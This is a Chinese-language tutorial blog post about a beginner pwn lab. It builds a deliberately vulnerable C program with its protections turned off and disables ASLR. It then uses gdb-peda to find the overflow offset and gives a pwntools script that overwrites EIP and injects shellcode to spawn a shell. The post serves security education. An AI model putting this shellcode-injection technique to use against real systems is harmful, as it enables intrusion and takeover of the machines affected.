pwm入門實驗:緩衝區溢出(沒有system函數)

實驗的緩衝區溢出源碼:

// 1.c
#include<stdio.h>
void func()
{
    char name[0x50];//0x100大小的棧空間
    read(0, name, 0x100);//輸入0x200大小的數據
    write(1, name, 0x100);
}
int main()
{
    func();
    return 0;
}

 

x86下無任何防護機制編譯:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack -z norelro -no-pie

m32:生成32bit程序需要gcc-multilib(x86機器上編譯不用加)

O0:不進行任何優化

fno-stack-protector:不開啓canary棧溢出檢測

z execstack:開啓棧可執行關閉NX

-no-pie:不開啓pie保護

 

出現問題:fatal error: bits/libc-header-start.h: No such file or directory

原因:64位機子編譯c語言32出現
解決辦法:安裝32位的c語言編譯環境

apt-get install gcc-multilib

 

 

編譯完成後進行實驗前還需要關閉ASLR

判斷ASLR是否打開

cat /proc/sys/kernel/randomize_va_space 
#ldd x #另一種判斷方式 x是程序名,運行兩次,如果兩次libc的基址一樣也說明了主機沒有開啓ASLR

 

ALRS:

ASLR是一種針對緩衝區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。

在linux中使用此技術後,殺死某程序後重新開啓,地址換。

在windows中使用此技術後,殺死進程後重新開啓,地址不換,重啓纔會改變。

 

以上cat命令輸出的值表示:

0 - 表示關閉進程地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。

 

關閉ASLR,切換至root用戶,輸入命令

echo 0 > /proc/sys/kernel/randomize_va_space

 

 

首先尋找多少字節能溢出切剛好能夠覆蓋return addr。我們使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一個字符串模板輸入後根據EIP來確定覆蓋return addr的長度。

gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

 

然後讓程序跑起來輸入這串字符串後程序崩潰

使用pattern_offset獲取偏移地址

Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

 

接下來在棧中部署一段shellcode然後讓return addr的內容爲shellcode的地址

 

先查找eip地址

這裏bbbb是eip的位置cccc是shellcode的位置然後運行這個python後程序崩潰我們調試core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)

 

運行python程序後崩潰我們得到core文件,調試core dump(gdb -c core)文件找eip的地址

 

個人理解:x/wx 命令是驗證地址是不是eip。esp是棧頂指針,因爲進入了call,ip最後入棧的,所以此時esp中存放着的是eip

 x /4xg $ebp:查看ebp開始的4個8字節內容(b:單字節,h:雙字節,w:四字節,g:八字節;x:十六進制,s:字符串輸出,i:反彙編,c:單字符)

 

 

得到eip的地址我們可以寫exp了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')#arch取決於file查看文件的arch,不是看系統,如果64位就只用amd64
io = process("./2")
payload = 'a' * 92
payload += p32(0xffffd140)
payload += asm(shellcraft.sh())
raw_input()
io.send(payload)
io.interactive()

 

運行exp:

 

參考:https://www.anquanke.com/post/id/85138

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章